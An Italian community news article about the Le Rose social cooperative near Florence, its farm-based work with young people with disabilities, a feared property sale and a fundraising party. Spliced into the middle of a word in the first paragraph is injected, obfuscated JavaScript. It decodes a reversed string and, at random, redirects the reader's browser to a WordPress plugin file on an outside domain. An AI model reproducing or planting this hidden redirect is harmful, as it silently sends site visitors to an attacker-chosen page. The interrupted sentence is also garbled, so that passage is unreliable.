Le Rose non si toccano

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Alle porte di Firenze, nei pressi del Galluzzo, c’è un podere che è un piccolo gioiello. Chi lo visita di questa stagione, trova un prato verde vivo che lo invita a sedersi all’ombra dei sambuchi in fiore, una stalla di legno coi cavalli, un uliveto vasto e ben tenuto, un viale spalleggiato da cespugli di piante officinali, un’antica colonica con una gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande tavola sotto il portico ad archi, e tutt’intorno, innumerevoli e variopinte, le rose che danno il nome al luogo.
In questo angolo di mondo che sembra sospeso fra un passato da rimpiangere e un futuro da sognare, ha sede la Cooperativa Sociale Le Rose, un’esperienza più unica che rara nel campo del trattamento dell’handicap.
Creata da un’équipe affiatata e altamente motivata, formatasi intorno alla madre di un ragazzo con handicap, che aveva sperimentato direttamente le carenze di tante altre strutture, questa cooperativa è riuscita a costruire una preziosa e delicata sinergia fra il lavoro agricolo del podere, condotto secondo i canoni biologici, l’amore per l’arte che ispira molti operatori dei laboratori espressivi e artigianali, le competenze professionali specializzate che ha a disposizione, e la comune dedizione al proposito di restituire dignità umana a chi altrimenti ne sarebbe privato.
Situata nel comune di Impruneta, la cooperativa ospita quotidianamente un gruppo di soli quindici ragazzi con handicap: ippoterapia, ortovivaistica, teatro, danzaterapia, cesteria, alfabetizzazione, sono solo alcuni dei tanti laboratori in funzione. Ma a beneficiare delle attività non sono solo i quindici ragazzi “interni”, che hanno raggiunto peraltro risultati in qualche caso eccellenti sul piano dello sviluppo della personalità. La cooperativa ha anche una serie di attività esterne, fra cui i Corsi di Orientamento-Preformazione per ragazzi delle scuole superiori, il Centro di Educazione Ambientale per gli alunni delle scuole di Impruneta, e le convenzioni con la Facoltà di Scienze dell’Educazione e altri centri per tirocini presso la cooperativa, che diviene così anche un vero e proprio polo di praticantato per studenti e volontari.
Ma adesso tutto questo lavoro è in pericolo. Sebbene la cosa non abbia ancora avuto conferme ufficiali, corre voce che la ASL 10 stia considerando la vendita dell’immobile, nel quadro di un programma di dismissioni patrimoniali mirante a beneficiare il bilancio. C’è da augurarsi vivamente che queste voci risultino infondate, perché ciò significherebbe inevitabilmente la fine di questo notevole esperimento, che molto difficilmente potrebbe essere trasferito in altra sede.
Per sostenere la cooperativa, tutti sono invitati alla festa con musica, spettacoli e cena che si terrà la sera di domenica 6 luglio sui prati del podere. Per informazioni: 055-2374406.

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